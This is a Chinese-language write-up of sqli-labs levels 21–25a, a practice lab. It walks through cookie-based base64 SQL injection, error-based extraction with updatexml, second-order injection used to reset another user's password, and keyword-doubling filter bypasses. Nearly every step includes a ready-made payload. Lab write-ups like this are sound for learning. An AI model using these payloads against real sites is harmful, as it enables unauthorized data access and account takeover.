sqli-labs(21-25a)
21 cookie注入-引号和括号闭合-base64编码
打开页面无从下手
先看看源码吧
登录成功后,将用户名用base64编码存到名为uname的cookie中
解码cookie,然后用cookie的值在数据库中查找,所以突破点就在登录成功后的cookie中,不登录进去就没办法展开攻击
登录某个用户
查看cookie
这cookie不像是base64编码,使用url解码试试
解码后是base64编码
base64解码,是用户名,看来和我前面描述的相符合
接下来在cookie上做手脚,打开cookie editor
使用': Jw==
,报错
由报错可知''附近还有一个)
使用'Dumb) order by 2#
:RHVtYicpIG9yZGVyIGJ5IDIj
,返回结果,接下来测试发现order by 3返回结果
order by 4
:RHVtYicpIG9yZGVyIGJ5IDQj
出现错误,可见字段名只有三个
-Dumb') union select 1,2,3#
:LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLDMj
,2,3会输出结果
接下来的操作就略过了
22 cookie注入-base64 -双引号
输入"
后报错
构造Dumb" order by 3#
:RHVtYiIgIG9yZGVyIGJ5IDMj
,和less21几乎没有区别,只是单引号,双引号和有无括号的区别
略过
23 报错注入 - 过滤注释符#和--
打开页面,有点好看.页面提示将id作为数字变量
?id=1'
报错
?id=1'--+
; ?id=1'#
报同样的错误,过滤掉了?
查看源码,果然过滤掉了
因为会报错,所以就用报错注入,获得数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
获取表名?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) and '1'='1
接下来略过
24 二阶注入
打开页面,cool
题目说是二阶注入
二阶SQL注入简述
所谓二阶注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二阶注入也是SQL注入的一种,与我们平时接触最多的一阶SQL注入相比利用门槛更高。普通的一阶SQL注入数据直接就进入到SQL查询中,而二阶SQL注入则是输入数据经处理后存储,然后取出数据,最后才进入到SQL查询。
二阶注入的流程如下:
· 攻击者在HTTP请求中提交某种经过构思的输入。
· 应用存储该输入(通常保存在数据库中)以便后面使用并响应请求。
· 攻击者提交第二个(不同的)请求。
· 为处理第二个请求,应用会检索已经存储的输入并处理它,从而导致攻击者注入的SQL查询被执行。
· 如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果。
接下来看看哪个页面有二阶注入漏洞,代码审计
忘记密码啥都没有
登录界面:将用户名和密码进行转义,然后用转义后的进行查询,所以没有二阶注入
改变密码界面:密码进行了转义,但是用户名未转义就带入数据库中查询,因此出现可乘之机
上帝视角看一下,想改哪个用户的密码?
要不改batman的吧,注册用户batman'#
,密码为123456
但是登不上去,真是奇怪
简述一下下面操作
由于更改密码时用户名没有经过转义就在数据库中查询
因此#就起了作用,把后面的东西注释掉
batman'#在数据库查询语句中变成了"UPDATE users SET PASSWORD='$pass' where username='batman'#;
因此batman用户的密码就被更改了
防御策略
安全起见,如果转义,就每个地方均转义
25 报错-union-双写绕过or和and过滤-单引号
这界面越来越花里胡哨了,提示将id作为数字变量
?id=1'
报错,字符型注入
?id=1'#
,#
被过滤,报错
?id=1'--+
正确显示结果,--
未被过滤
?id=1' oorrder by 3--+
,or
被过滤,使oorrder
变成order
,从而使结果正确显示,字段名有3个
?id=-1' union select 1,database(),3 --+
爆数据库
接下来的操作略过了,用到and时,用anand来绕过过滤
比如报错注入时?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) --+
看看源码
源码只替换了and和or,没有对其他单词过滤,用双写oorr和anand来绕过就行了,我好奇为啥#
也被过滤掉了
注意后面语句中information中的or也要双写
25a 数字型-or,and过滤
不得不说,界面真的越来越帅了,
?id=1 order by 1#
他把or过滤了,句子错误了,但是它没报错,不能用报错注入了
只能根据是否返回结果来注入,同时双写or和and
?id=1 oorrder by 3#
字段名为3
可用字段名为2,3?id=-1 union select 1,2,3#
接下来略过